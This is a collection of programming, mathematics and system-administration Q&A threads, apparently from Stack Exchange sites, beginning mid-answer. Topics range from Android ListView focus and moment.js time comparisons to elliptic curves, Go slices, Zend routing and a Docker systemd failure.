A: Not sure what kind of differences are you seeing when your are comparing String contents. Common problem is lack/presence of whitespace characters.
If that's your case, Just use Java library called Hamcrest to compare your strings this way:
assertThat(actualContent, equalToIgnoringWhiteSpace(expectedContent));

If your logic is not order sensitive, I am afraid you'll need parse the CSV strings first into Lists, sort them and compare them afterwards.


text:
Q: buttons within listview I have listview with row layout like
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="match_parent"
    android:orientation="horizontal"
    android:weightSum="5"
    >

        <TextView
        android:layout_width="0dp"
        android:layout_height="wrap_content"
        android:id="@+id/ArriveTime"
        android:gravity="center"
        android:layout_weight="1" />

        <TextView
        android:layout_width="0dp"
        android:layout_height="wrap_content"
        android:id="@+id/Name"
        android:gravity="center"
        android:layout_weight="1" />

        <Button
        android:focusable="false"

        android:layout_width="0dp"
        android:layout_height="wrap_content"
        android:id="@+id/Arrive"
        android:gravity="center"
        android:layout_weight="1"
        android:text="Arrive" />

        <Button
        android:focusable="false"

        android:layout_width="0dp"
        android:layout_height="wrap_content"
        android:id="@+id/Encounter"
        android:gravity="center"
        android:layout_weight="1"
        android:text="Encounter" />

        <Button
         android:focusable="false"

        android:layout_width="0dp"
        android:layout_height="wrap_content"
        android:id="@+id/Exit"
        android:gravity="center"
        android:layout_weight="1"
        android:text="Exit" />

</LinearLayout>

I want when click on row be able to click on buttons so I set android:focusable="false" and in on click I say
    MainGrid.setOnItemClickListener(new OnItemClickListener() {
        public void onItemClick(AdapterView<?> parent, View view,
                  int position, long id) {

             Log.d("zzzzzzzzzzzzzzzzzzzzzzzz",""+ oldPosition);

            if(oldPosition != -1)
            {
                MainGrid.getChildAt(oldPosition).setFocusable(false);
                //MainGrid.findViewById(oldPosition).setFocusable(false);
            }

            // Set the whole list view unfocusable
             MainGrid.setFocusable(false);

            // focus only on this
            view.setFocusable(true);

            oldPosition = position -1;

            SetMenueOnClick(position-1) ;
 }});

the problem is that after the first click on the row, the buttons be active and I cannot click on it again any idea to fix that , I need to activate the buttons on the row I click then transfer the focus to the row for further click

A: If you want both the line and the buttons to be clickable (all the time), you don't need to go through all those gyrations.  Simply add these two lines to your button callouts in the row xml:
    android:focusable="false"
    android:focusableInTouchMode="false"

Then you just set button click listeners in your adapter for each button and item click listeners in the activity where you call the list as normal.
If you want the buttons disabled until you click on the row (I wasn't clear if that was the goal or just an after-effect of the way you were trying to go about getting both clickable), the set up in the xml is the same as far as the focusable callouts, set the buttons to disabled and then in the onListItemClick set up an if statement using a flag to toggle them clickable and not clickable by using button.setEnabled(false); and button.setEnabled(true);.

A: Other than setFocusable(true) you can also use setChecked(boolean b). But you can use this method on a CompoundButton.
From java:
CompoundButton cb = (CompoundButton) findViewById(R.id.yourButton);
cb.setChecked(true);

In XML
<CompoundButton
    android:id="@+id/yourButton"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:background="@drawable/button_stats"
    android:text="@string/stat_hard">
</CompoundButton>

Where button_stats.xml is a file located in res/drawable which contains the following lines:
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
    <item android:drawable="@drawable/generic_button_normal" android:state_checked="false"/>
<item android:drawable="@drawable/generic_button_checked" android:state_checked="true"/>
</selector>

A: You can try using:
android:descendantFocusability="blocksDescendants"

In your layout XML, instead of modifying each element separately.
You can read more on button in a listview issues Here
Especially comments #27 & #31
Hope it helps


text:
Q: Moment is time between 2 times, regardless of date I'm trying to figure out how to do a simple IF statement, to figure out if the provided date is between 08:00 and 20:15, regardless of the date
var obj = { "Date/Time": "2018-09-30 23:51:09" };

const date = moment(obj['Date/Time']).format("HH:mm:ss");
const start_time = "08:00:00";
const end_time = "20:15:00";

if (moment(date).isBetween(start_time, end_time)) {
  console.log("yes")
}

My code above though fails with the following error:

Error at Function.createFromInputFallback
(https://cdn.jsdelivr.net/momentjs/2.14.1/moment-with-locales.min.js:17:482)

Any suggestions?

A: Assuming all three strings are in HH:mm:ss format you can simply compare them as strings:
var date       = "23:51:09";
var start_time = "08:00:00";
var end_time   = "20:15:00";
if (start_time <= date && date <= end_time) {
    console.log("yes");
}

And if there is a possibility of having midnight between start and end time then:
var date       = "23:51:09";
var start_time = "20:00:00";
var end_time   = "04:00:00";
if (
    (start_time <= end_time && (start_time <= date && date <= end_time)) ||
    (start_time >  end_time && (start_time <= date || date <= end_time))
) {
    console.log("yes");
}

A: Firstly, you need to construct the moment object correctly using moment(string, string) constructor in the if expression since the date string is not in ISO format.
Secondly, you can construct the start_time and end_time as moment objects as well, so that you can directly compare the time values of the three objects. See the demo below:

var obj = {
  'Date/Time': '2018-09-30 09:51:09'
}

const date = moment(obj['Date/Time']).format("HH:mm:ss");
const start_time = moment("08:00:00", 'HH:mm:ss');
const end_time = moment("20:15:00", 'HH:mm:ss');

if (moment(date, 'HH:mm:ss').isBetween(start_time, end_time)) {
  console.log("yes")
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.22.2/moment.min.js"></script>

A: It looks like yyou will need to get the time for start and end with a moment commpatible time.
const start_time = moment(obj['Date/Time']).hour(8).startOf('hour');
const end_time = moment(obj['Date/Time']).hour(20) minute(15).startOf('minute');

if (moment(date).isBetween(start_time, end_time)) {
    console.log('WIN!');
}

if you are still getting the error it will be that the format of the date is not what moment it looking for and you will need to tell it the format with the 2nd arg for moment(DATE, FORMAT)

A: Why don't you try something like this?
    const date = new Date('2018-09-30 23:51:09');
    const start_time = new Date('2018-09-30 8:00:00');
    const end_time = new Date('2018-09-30 20:15:00');

    if (start_time<date && date<end_time) {
      console.log('yes');
    }


text:
Q: Elliptic curve $y^2= x^3 + x$ over the finite field $\mathbb{F}_p$ with $p \geq 3$. Consider the elliptic curve $$E: y^2= x^3 + x$$ over the finite field $\mathbb{F}_p$ with $p \geq 3$. I want to show that $|E(\mathbb{F}_p)| \equiv 0 \mod 4$.
I know that, if $p \equiv 3\mod 4$, then $|E(\mathbb{F}_p)| = p +1$. If needed, I can give the proof. All things aside, I've found the same question here :

$\forall p\geq 3, E:y^2=x^3+x$ satisfies $\#E(\mathbb{F}_p)=0\mod4$

But I don't have the book he's referring to, so I can't work it out (and believe me, I've tried!). In short: what do you do in the case that $p \equiv 1 \mod 4$? Am I missing something obvious here? Thanks for the help!

A: In the case $p = 4 n + 1$ the number $-1$ is a square $\mod p$. So we can partition the points of $E(\mathbb{F}_p)$ as follows:

*

*One point $\infty$ at infinity.

*One point with $x = 0, y= 0$.

*Two points $(\epsilon_1, 0)$, $(\epsilon_2, 0)$ with an $x$ that maps to $0$ under $x^3 + x$. (It is $\epsilon_i^2 + 1 = 0$).

*There remain $4 n - 2$ different $x$ values. Let $m'$ be the number of those $x \neq 0, \epsilon_1,\epsilon_2$ for which $x^3 + x$ is a square in $\mathbb{F}_p$. Then $m'$ is an even number as $x \mapsto -x$ maps $x^3+x$ to $-(x^3+x)$ which is different from $x^3 + x$ for $x \neq 0,\epsilon_1,\epsilon_2$ and is in the square possessing class exactly when $x^3 + x$ is ($-1$ is a square). So the remaining points $(x,y)$ are $2 m'$ many, which is $0 \mod 4$ as $m'$ is even.

Adding 1.,2.,3.,4. together we get a number divisible by $4$.

A: Note that $x^3+x=x(x^2+1)$, so the 2-torsion of this elliptic curve will be defined over any field with a $\sqrt{-1}$.  $\mathbb{F}_p$ for $p \equiv 1\ (\text{mod}\ 4)$ is such a field, and as the 2-torsion is a subgroup of order 4 for $E(\mathbb{F}_p)$, the claim follows.


text:
Q: Training model on custom data I am trying to try an object detection model on a custom data set. I want it to recognize a specififc piece of metal from my garage. I took like 32 photos and labelled them. The training goes well, but up to 10% loss. After that it goes very slow, so I need to stop it. After that, I implemented the model on camera, but it has no accuracy. Could it be because of the fact that I have only 32 images of the object? I have tried with YoloV2 and Faster RCNN.

A: It has low probability that your model implemented to a camera has no accuracy because you have only 32 images.
Anyway before you've had about up to 10% loss (It seems to be about 90% accuracy), so it should work  I think the problem is not in the amount of images.
After training your model you need to save the coefficients of model trained.
Make sure that you implemented model trained, and not you don't use model from scratch

A: Just labeling will not help in object detection. What you are doing is image classification but expecting results of object detection.
Object detection requires bounding box annotations and changes in the loss function which is to be fed to the model during each backpropagation step.
You need some tools to do data annotations first, then manipulate your Yolov2/Fast-RCNN codes along with the loss function. Train it well and try using Image Augmentations to generate little more images because 32 images are less. In that case, you might end up in a pitfall of getting higher training accuracy but less test accuracy. Training models in fewer images sometimes lead to unexpected overfitting.
Only then you should try to implement using the camera.


text:
Q: Can I connect a SATA 3 cable to a SATA 2 connector, and through some hacks, receive SATA 3 performance? I was looking around for an SSD. I found some SATA 3 drives, at the same price as SATA 2 drives. My motherboard however, can't handle SATA 3. Is there any way I can connect SATA 3 drive and get full speed? Possible through some hacks.
One hack I was thinking is for example some controller that will take one SATA 3 cable, then splits it into two SATA 2 cables, so i can connect it to my motherboard.

A: You can use SATA3 drives on your SATA2 setup, but it will only run at 3Gbps.
If you want 6Gbps, you can buy a SATA3 6Gbps controller add-on card.
StarTech makes some, and I'm sure other's do as well.
Here's a NewEgg search for example.

A: That will not work. Your best bet would be to get two SATAII drives and configure them in a RAID 0. This would essentially give you a max of 300MBs per SATAII port and a total of 600MBs bandwidth. Your OS would see the RAID 0 as one partition.
http://en.wikipedia.org/wiki/Standard_RAID_levels#RAID_0


text:
Q: Consul multiple client I am new at the consul. So, I have multiple client instances running and have a java application.
To connect to the client I have given IP of one of the clients. I believe this wrong. Should I give the load balancer IP tat connect to the client or something else?

A: Consul operates as a distributed system, and is designed for client agents to serve as the primary access point for applications which need to interface with Consul's DNS or HTTP APIs.
Consul clients should be deployed on every node/server in your environment. Applications which are running on a given server should send HTTP/DNS queries to the Consul agent which is running on the same server. This is typically achieved by configuring the Consul agent to listen on localhost (via the -client/client_addr option), and configuring your applications to connect to Consul over the same address.


text:
Q: ENOENT Error can't find directory of location that exists? Using FS I am trying to load a directory that exists, however, whenever I try to have it load in the folder, it give me an error that it cannot find it, am I calling the directory wrong?
const { readdirSync } = require('fs');

module.exports = (client) => {
  const load = dirs => {
    const commands = readdirSync(`../Commands/${dirs}/`).filter(d => d.endsWith('.js'));
    for(let file of commands) {
      const pull = require(`../Commands/${dirs}/${file}`)
      client.commands.set(pull.config.name, pull)
      if(pull.config.aliases) pull.config.aliases.forEach(a => client.aliases.set(a, pull.config.name))
    }
  }
  [ "Developer", "Fun", "Images", "Info", "Moderation", "Settings", "Utility" ].forEach(x => load(x))
}

How the directory looks:
Scout Dev
> Core
>> Commands
>>> Developer
>>> Fun
>>> Images
>>> Info
>>> Moderation
>>> Settings
>>> Utility
>> Handlers
>>> commandHandler.js (the main code)
>> Events

Error:
Error: ENOENT: no such file or directory, scandir '../Commands/Developer/'

A: In Addressing commands ./  refer to the same level folder but in your case the main code an command folder are not in the same level so you should use:
readdirSync(__dirname + `/../Commands/${dirs})

Actually it works for dir part.
for the require part you have to make path with some statics
for exmaple:
const path = __dirname.replace('Handlers','Commands') +`/${dirs}/${file}`;
const pull = require(path);


text:
Q: Proof of derivative of $x^TBx$ using the product rule I'm trying to prove that when $f(x) =x^TBx$, then $f'(x) = (B + B^T)x$. I haven't found this formula online but going through the calculations using index notation this is what I came up with. This would simplify to $2Bx$ when $B$ is symmetric. The accepted response to this discussion says that the solution is actually $f'(x) = x^T(B + B^T)$, going through the proof there, I see how he got there but I can't see where the mistake is in mine then.
The setup

*

*$x \in \mathbb{R^n}$, it is always a column vector

*$B \in \mathbb{R^{n \times n}}$, $B$ may not be symmetric

My approach
Let $g(x)=x^TB$ and $h(x)=x$, then I can write $f(x)=g(x)h(x)$. Then

*

*$f(x) \in \mathbb{R}$

*$g(x) \in \mathbb{R^{1 \times n}}$

*$h(x) \in \mathbb{R^n}$

*$f'(x) \in \mathbb{R^n}$

*$g'(x) \in \mathbb{R^{n \times n}}$

*$h'(x) \in \mathbb{R^{n \times n}}$
I've gone through myself why $g'(x) = B$ and $h'(x) = I_n$, so I won't go through those here.
Then, using the product rule I get:
$$f'(x) = g'(x)h(x) + g(x)h'(x)$$
The problem is that the dimensions don't add up. I get $g'(x)h(x) = Bx \in \mathbb{R^{n}}$, which is good. However, I also have $g(x)h'(x) = x^TBI_n = x^TB \in \mathbb{R^{1 \times n}}$ and as far as I know I can't add up two vectors of different sizes.
I know that the solution is going to be the transpose of second term, I just can't seem to find where that transpose would come from.
Why do I need to take the transpose of the second term?
[Edit]: Please don't reply with a different proof. What I'm looking for is to understand where I made the mistake in my calculation because obviously I made a step which was incorrect and without understanding where that is I'm likely to make that mistake again.

A: It may be useful to introduce the Frobenius inner product as:
$$ A:B = \operatorname{tr}(A^TB)$$
with the following properties derivied from the underlying trace function
$$\eqalign{A:BC &= B^TA:C\cr &= AC^T:B\cr &= A^T:(BC)^T\cr &= BC:A \cr } $$
Then we work with differentials to find the gradient. The product rule works as you expect. At each side of the colons, you can note that dimensions are consistent.
$$\eqalign{ f&= x^TBx\\ &= x : Bx\\
df &= dx : Bx + x : Bdx\\
&=dx : Bx + B^Tx:dx\\
&=(B + B^T)x : dx
}$$
Thus the gradient is:
$$\frac{\partial f}{\partial x} =(B + B^T)x$$
edit:
The issue is that for vector terms:
$$\frac{\partial(u^Tv)}{\partial x} \ne \Bigg(\frac{\partial u^T}{\partial x}\Bigg)v + u^T\Bigg(\frac{\partial v}{\partial x}\Bigg)$$
When working with differentials, on the other hand, it holds:
$$ d(A\star B) = dA\star B + A\star dB  $$
where $\star$ can be Frobenius, Kronecker, Hadamard, matrix product, etc.
If you work the differential with the matrix product form you will see that a term $dx^T$ appears. Dealing with this term for grouping dx is what causes your missing transpose to appear.
If you want to directly apply a product rule it should read:
$$\frac{\partial(u \cdot v)}{\partial x} = \Bigg(\frac{\partial u}{\partial x}\Bigg)^T v + \Bigg(\frac{\partial v}{\partial x}\Bigg)^T u$$
where $u \cdot v = u^Tv$, with $u=x$ and $v = Bx$.

A: The easiest way is really to right the function as a scalar :
$$f(x)=x^TBx=\sum_{i=1}^n\sum_{j=1}^n x_ib_{ij}x_j.$$
Then $$\partial _kf(x)=\sum_{i=1}^n x_ib_{ik}+\sum_{i=1}^n b_{ki}x_i=\sum_{i=1}^n(b_{ik}+b_{ki})x_i.$$
Therefore, $$f'(x)=x^T(B+B^T)=(B^T+B)x.$$

A: The way you try to define derivatives with respect to $x$ has a subtle inconsistency. On the one hand you insist the derivative of $x^TB$ is $B$, implying differentiation's effect is to cancel an $X^T$ from the left. On the other hand, you insist the derivative of $X$ (i.e. $IX$, not $X^TI=X^T$) is $I$, i.e. differentiation cancels an $X$ from the right. It's better to work through explicit indices.
Whether the derivative of the scalar $x^TBx$ is the column vector $(B+B^T)x$ or the transpose thereof, the row vector $x^T(B+B^T)$, is a matter of convention. (However, a column-vector convention has one obvious advantage: the chain rule becomes $df=(dx)^T\nabla f$.) What is not a matter of convention is its $i$th component is $$\partial_i (x_jB_{jk}x_k)=\delta_{ij}B_{jk}x_k+x_jB_{jk}\delta_{ik}=B_{ik}x_k+B_{ji}x_j=[(B+B^T)x]_i.$$


text:
Q: Can the subject of an infinitive be omitted in passive voice?
The technicians were fired to reduce costs.

I have a doubt about whether this sentence is grammatically correct or not and whether I must add "for a noun" so as to make it clear what was to reduce costs as in "The technicians were fired for the company to reduce costs".
To sum up, is it grammatically correct to omit "for the company"? and even if it's grammatically incorrect, do native speakers tend to violate the rule that we must make it explicit what is the subject that "to reduce costs" modifies?

A: It depends entirely on the context.  For example, you could write

The technicians were fired to reduce the company's costs.

but

*

*"The company" is not really the subject of the infinitive.  The possessive is an adjective modifying "costs"

*The passive tense already implies the subject is whoever employs the technicians.  It's not necessary to explicitly repeat this to relate it to costs.

*It's fairly obvious that it's the employers who are going to save money from this action, not the technicians.

You would have to add specifics if it is not clear what the infinitive clause modifies.  For example:

The technicians were promoted to improve productivity.

Although this sentence is grammatical, it's not clear whose productivity is improved.  The technicians?  The company overall?  The executives who make these kind of decisions?  Better to be clear:

The technicians were promoted to improve company productivity.

A: The technicians were fired to reduce costs
is perfectly acceptable. "to reduce costs" is the reason why they were fired.


text:
Q: Subscript in `siunitx` fraction mode I would like to automate my SI Units a bit. Unfortunately I'm not getting the desired result if I add subscript text. I tried multiple versions with \text and similiar functions. How can I display a fraction with subscripts with siunitx?
\documentclass[
    fontsize=12pt,
    paper=a4,
    oneside,
    leqno
    ]{scrartcl}

\usepackage[T1]{fontenc}
\usepackage[utf8]{inputenc}
\usepackage[ngerman]{babel}

\usepackage[
    fleqn
    ]{amsmath}

\usepackage{siunitx}
\sisetup{
    locale = DE,
    per-mode=fraction,
    quotient-mode=fraction,
    fraction-function=\tfrac
}

\NewDocumentCommand\DeclareNewQuantity{mmm}{%
    \DeclareSIUnit{#2}{#3}%
    \DeclareDocumentCommand{#1}{O{}m}{\SI[##1]{##2}{#2}}%
}

\DeclareNewQuantity
    \DoesWhatIWant
    \doesWhatIWant
    {\kg\per\kg}
\DeclareNewQuantity
    \DoesNotWhatIWant
    \doesNotWhatIWant
    {\kg_{H2}\per\kg_{FeTi}}

\begin{document}

$\DoesWhatIWant{1,2345}$

$\DoesNotWhatIWant{1,2345}$

\end{document}

The result looks like this:

The second should look like the first output.

A: Decalre \kg_{H2} and \kg_{FeTi} as new units with \DeclareSIUnit first.
\DeclareSIUnit\kgh{\kg_{H2}}
\DeclareSIUnit\kgfe{\kg_{FeTi}}

\documentclass[
    fontsize=12pt,
    paper=a4,
    oneside,
    leqno
    ]{scrartcl}

\usepackage[T1]{fontenc}
\usepackage[utf8]{inputenc}
\usepackage[ngerman]{babel}

\usepackage[
    fleqn
    ]{amsmath}

\usepackage{siunitx}
\sisetup{
    locale = DE,
    per-mode=fraction,
    quotient-mode=fraction,
    fraction-function=\tfrac
}

\DeclareSIUnit\kgh{\kg_{H2}}
\DeclareSIUnit\kgfe{\kg_{FeTi}}

\NewDocumentCommand\DeclareNewQuantity{mmm}{%
    \DeclareSIUnit{#2}{#3}%
    \DeclareDocumentCommand{#1}{O{}m}{\SI[##1]{##2}{#2}}%
}

\DeclareNewQuantity
    \DoesWhatIWant
    \doesWhatIWant
    {\kg\per\kg}
\DeclareNewQuantity
    \DoesNotWhatIWant
    \doesNotWhatIWant
    {\kgh\per\kgfe}

\begin{document}

$\DoesWhatIWant{1,2345}$

$\DoesNotWhatIWant{1,2345}$
\end{document}


text:
Q: How to import ember-dynamic-component into a test I'm using ember-dynamic-component and in my component test, I'm getting the following error:

Handlebars error: Could not find property 'dynamic-component' on object

I've tried
needs: ['view:dynamic-component']
needs: ['component:dynamic-component']
needs: ['helper:dynamic-component']

but they're not working. Any ideas on how to make my tests aware of dynamic-component?


text:
Q: Proof of $C_n = \frac{1}{n + 1} \binom{2n}{n}$ I want to comprehend the first proof of $C_n = \frac{1}{n + 1}\binom{2n}{n}$ on Wikipedia. Link: here.
I have problems with two steps:

*

*$$\sum_{n=0}^{\infty} \binom{\frac{1}{2}}{n}y^n = \sum_{n=0}^{\infty} \frac{(-1)^{n + 1} }{4^n(2n - 1)} \binom{2n}{n}y^n$$ I calculated
$$\binom{\frac{1}{2}}{n} = \frac{(-1)^{n + 1}}{4^n} \frac{(n - 1.5) \cdot (n - 1.5 - 1) \cdot \ldots \cdot (n - 1.5 - (n - 3) + 1) }{n!}$$, but how to proceed?

*One shall insert $$\sum_{n = 0}^{\infty} \frac{(-1)^{n+1}}{4^n(2n-1)}\binom{2n}{n} x^n$$ into $$\frac{1 - \sqrt{1 - 4x}}{2x} = \frac{1}{2} \frac{1}{x}(1 - \sqrt{1 - 4x})$$ by using standard power series operations. But how do we handle the division of $1$ by $x$ in terms of $x^n$? The wikipedia entry for power series says that the first coeffizient of the division is calculated as $d_0 = \frac{a_0}{b_0}$, but for $x = \sum b_n x^n$, $b_0$ is 0, such that we get a division by zero.

Please note that we consider formal power series, so I do not know if and how we can somehow detour via an other development point.
Background: The problem occured during computing the moments of the semicircular distribution in free probability theory.
EDIT: While elaborating the solution (I admit that I never had found it by myself) given by @BrianM.Scott, the specific second question was solved too: One does not calculate $\frac{1}{x}$ directly, but splits the sum up and lets the dangerous constant terms (for $n = 0$) eliminate one another before dividing the remaining sum terms (for $n > 0$) by $x$.

A: In this answer I wrote out a more detailed version of the argument in Wikipedia. It covers the evaluation of $\binom{\frac12}n$ in detail and also shows how to deal with the constant term, so it may answer your questions.


text:
Q: how can i hide the part of url using .htaccess I am trying to remove the part from my url here is the url "http://example.com/custom_joomla_template-2.5.6/about-us/portfolio/itemlist/category/3-category-2"
Now I want to remove "itemlist/category/" from the url so that url can be look link "http://example.com/custom_joomla_template-2.5.6/about-us/portfolio/3-category-2"
I am using default functionality of joomla i.e. SEF urls, I need to simplify it more I am new for the htaccess
Please suggest link for learning how to write rules for .htaccess file
Please help

A: Easiest thing is just to make a menu link somewhere that goes directly to category-2. That will set up the url correctly. It will also get rid of the 3-


text:
Q: SendGrid for non-production environments I'm using SendGrid for sending emails. Some of these emails are sent to users of the system. In non-production environments, we have configuration values to send to alternate email addresses instead of actual email addresses.
Ideally, I'd like to avoid this and have it work the same way in prod and non-prod. Based on research, SendGrid has a sandbox mode which looked promising, but I still need a way to actually look at the email generated by SendGrid for testing purposes.
Does anyone know if there's a way to view sandbox emails, or to configure the SendGrid account itself to redirect emails? I'm using a separate SendGrid account for prod and non-prod, so if it's an account-level configuration I can set, that would work.


text:
Q: Parse.com Backup Retention According to Fosco, Parse does its own data backup in the rare event that Parse causes some data to be lost.  Is there a stated policy for how long these backups are kept?  I am asking because if a user of my application wants their account deleted and I delete all of their data from my database.  How long will the last snapshot of it in Parse's own backups remain?
I do realize that these backup are not for on-demand recovery but the fact that the data still exists means I need to account for it.
Thanks!


text:
Q: How to modify type slice inside method? How to modify type slice inside method? I tried
http://play.golang.org/p/ul2n8mk6ye
type Test []string

func (test Test) Add(str string) {
    test = append(test, str)
}

func main() {
    test := Test{}
    test.Add("value")
    fmt.Println(len(test))//0
}

And http://play.golang.org/p/nV9IO7E5sp
type Test []string

func (test *Test) Add(str string) {
    v := append(*test, str)
    test = &v
}

func main() {
        test := Test{}
    test.Add("value")
    fmt.Println(len(test))//0
}

But it does not work.

A: You need to use a pointer receiver, which you've tried in your second example, but you then overwrite the pointer value which defeats the purpose.
You could use
func (test *Test) Add(str string) {
    v := append(*test, str)
    *test = v
}

Or more clearly:
func (test *Test) Add(str string) {
    *test = append(*test, str)
}


text:
Q: Android fingerprint API for time attendance app I would like to build an app which allows employees to scan fingerprint with the support of Android app. Right now most fingerprint API (Touch ID or Android Imprint) only allows login to app. Is there any 3rd party API that allows usage of API to collect fingerprint and attach to my employee record, and verify when they scan finger? Thanks.

A: You're right, Android M or Samsung or iPhone APIs only allow to verify current user against user of device.
With Android M or Samsung or iPhone APIs you can't get fingerprint template or image.
As @ianhanniballake the only solution is to create a user in Android for each employee. But each employee need to select is user and after, he could be authenticated.
There's some fingerprint scanners compatible with Android Platform and with SDK for Android. These SDKs allow to get fingerprint image or template. Scanners are plugged on USB port so you can't charge tablet and use fingerprint scanner simultaneous. For instance:

*

*http://www.dermalog.com/en/products_solutions/fingerprintscanner/

*http://www.futronic-tech.com/product_fs80h.html

*http://www.crossmatch.com/authentication-hardware/
There's also some devices with integrated fingerprint scanner and with SDK to get fingerprint image or template.
To match fingerprint, some SDK have matcher but if you have lot of user you should use an AFIS solution.

A: No. In fact, the Android Compatibility Definition for Android 6.0 states in the Fingerprint section (7.3.10):

MUST NOT enable 3rd-party applications to distinguish between individual fingerprints.

Therefore while you could write an app that uses fingerprint as a mechanism to authenticate the user, any registered fingerprint associated with the current user account could be used.
This would mean that if you want to differentiate each employee, they would need their own user account or device, rather than having a single instance of the app that works for multiple users.


text:
Q: Nativescript webpack bundle global vars Since upgrading to latest version of my Nativescript (5.0.x) with Angular (7.1) the bundle is not working properly.
I get following error when running:
ERROR ReferenceError: Can't find variable: Document
It worked before by putting in my main.ts file the following code:
if (!(<any>global).Document) {
  ;(<any>global).Document = function Document() {}
}

On normal run like: tns run ios it works fine. (if I remove the code above) I will get the same error as when running the bundled version.
I tried defining the global variables using the webpack.DefinePlugin in the webpack.config file like the Nativescript team seems to have done for example with TNS_WEBPACK. When doing this the app will also fail.


text:
Q: Switching ON and OFF the Alarm ios I have prepared an Alarm Clock app which uses UILocalnotification for scheduling the alarm.Now after the alarm has been set, I want to make a switch so that I can turn it ON and OFF usingUISwitch.I just cant figure how can I do that?What I am thinking as of now is that when you switch OFF the alarm, I shall store the DATE and TIME value before canceling the UILocalnotification so that when the user again switch ON the alarm I reschedule it with the stored DATE and TIME values. Is it the right way to do or is there any other ways to do that?

A: just make the database table which have 'date', 'isCanceled' field and unique id 'alarmId' columns (use rest whatever you want). so when the user wants to cancel the alarm try this,
    NSString *alarmId = @"some_id_to_cancel";
    UILocalNotification *notificationToCancel=nil;
    for(UILocalNotification *aNotif in [[UIApplication sharedApplication] scheduledLocalNotifications]) {
        if([aNotif.userInfo objectForKey:@"ID"] isEqualToString:alarmId]) {
            notificationToCancel = aNotif;
            break;
        }
    }
    [[UIApplication sharedApplication] cancelLocalNotification:notificationToCancel];

to use this better you create your alarm by,
UILocalNotification *localNotif = [[UILocalNotification alloc] init];

 if (localNotif == nil)
  return;

 localNotif.fireDate = itemDate;
 localNotif.timeZone = [NSTimeZone defaultTimeZone];
 localNotif.alertAction = NSLocalizedString(@"View Details", nil);
 localNotif.alertBody = title;
 localNotif.soundName = UILocalNotificationDefaultSoundName;

 NSDictionary *infoDict = [NSDictionary dictionaryWithObject:stringID forKey:@"ID"];
 localNotif.userInfo = infoDict;

 [[UIApplication sharedApplication] scheduleLocalNotification:localNotif];
 [localNotif release];


text:
Q: how to open sheet using hyperlink in R I have sales data in an Excel file in that I have to open in sheet3. I tried below code but am unable to give hyperlinks to sheet3.
library(xlsx)
wb <- createWorkbook()
sheet1 <- createSheet(wb, "Sheet1")
rows <- createRow(sheet1)
cells <- createCell(rows)
links <- c("[D://r datasets/sales data.xlsx]sheet3!")
names(links) <- c("link1")
for (row in 1:length(links)) {
setCellValue(cells[[row,1]], names(links)[row])
addHyperlink(cells[[row,1]], links[row])
}
saveWorkbook(wb, "hyperlinks to file.xlsx")
shell.exec("hyperlinks to file.xlsx")

Can anyone help in this regard?

A: You can do
library(xlsx)

wb1 <- createWorkbook()
createSheet(wb1, "Sheet1")
createSheet(wb1, "Sheet2")
createSheet(wb1, "Sheet3")
saveWorkbook(wb1, tf1 <- tempfile(fileext = ".xlsx"))

wb2 <- createWorkbook()
sheet2 <- createSheet(wb2, "Sheet2")
rows <- createRow(sheet2)
cells <- createCell(rows)
setCellValue(cells[[1,1]], "To Other File")
addHyperlink(cells[[1,1]],sprintf("file:///%s#%s!%s", normalizePath(tf1, "/"), names(getSheets(wb1))[2], "B2"), "FILE")
saveWorkbook(wb2, tf2 <- tempfile(fileext = ".xlsx"))
shell.exec(tf2)


text:
Q: Change DWARF elf format in IAR ARM V8 compiler In our development, we switched from IAR ARM V7.40 to IAR ARM V8.40
We are using the python package pyelftools for postprocessing of the debug information. Unfortunately, this seems to be broken now, as the V8-compiler seems to use DWARF4 syntax, which is not fully covered by pyelftools. The V7-compiler used DWARF3 which was fine.
Is there any compiler option for IAR V8 to change DWARF format? In the IAR C/C++ Development Guide, I only find the --debug, -r option to enable debug information, but no further fine tunings (e.g. like -gdwarf-3 option for the arm-clang compiler).

A: There is a hidden compiler option --no_dwarf4 which disables DWARF4. This works fine for our problem.
Unfortunately, this compiler option is neither documented in the IAR C/C++ Development Guide nor listed in the command line help ($ iccarm --help) for the compiler.


text:
Q: Zend index action parameters I want to have url example.com/invoice/id/5
Create action
function indexAction(){
  echo "test";
}

Now i try access this action from url
example.com/invoice/ or example.com/invoice/index
And also pass parameters
example.com/invoice/id/5

Here I'm get error because Zend try to render
id.phtml

My question is how to have url example.com/invoice/id/5 and not use example.com/invoice/index/id/5

A: By Default Zend Route as Follows:
    http://www.example.com/controller/action/param_name/param_value/param_name_1/param_name_1_value
For the custom URL, you have to define the routes in the Bootstrap.php as of Zf1.
$frontController = Zend_Controller_Front::getInstance();
        $router = $frontController->getRouter();
    $router->addRoute(
                'someidentifier',
                new Zend_Controller_Router_Route(
                    '/invoice/:id',
                    array(
                        'controller'=>'invoice',
                        'action'=>'index'
                    )
                )
        );

If it is ZF2 I think you have to define the custom route in Module.php, onBootstrap function and attach to eventManager.


text:
Q: What type of statistical analysis solves this problem? I have database of 78706 resident incidents in aged care facilities (5 years of data).
I want to to learn and implement a tool allowing analyzing these data using following attributes:

*

*Resident

*Date/Time

*Location

*Result

*Injury

I want to be able to get following assumptions from my system which will be passed to specialists for further research, decision making and action:
Examples of outputs:

*

*Most of incidents in facility A with residents X, Y and Z

*Falls occur in North Wing between 2am and 5am

*Skin tears happen during showering in facility B

*Most incidents in a facility C related to repositioning

My question is not what software package can help me but what type of statistical analysis solves this problem - regression, cluster etc.
Can you recommend some practical books for a starter too?

A: You could consider association analysis.  If your time is discretized appropriately and the data support your 2nd example (Falls occur in North Wing between 2am and 5am), one possible learned rule that comes out of the analysis might be {North Wing, 2AM-5AM} => {Fall}.


text:
Q: Ubuntu systemd[1]: docker.service: Job docker.service/start failed with result 'dependency' I am running Ubuntu 20.04 to run a dockerized NextCloud installation. Usually, I just need to run
$ docker-compose pull
$ docker-compose up -d

to update my containers but now I ran into the following error:
# service docker status

● docker.service - Docker Application Container Engine

Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)

Active: inactive (dead)

TriggeredBy: **●** docker.socket

Docs: https://docs.docker.com

Jun 06 12:19:07 ubuntu systemd[1]: **Dependency failed for Docker Application Container Engine.**

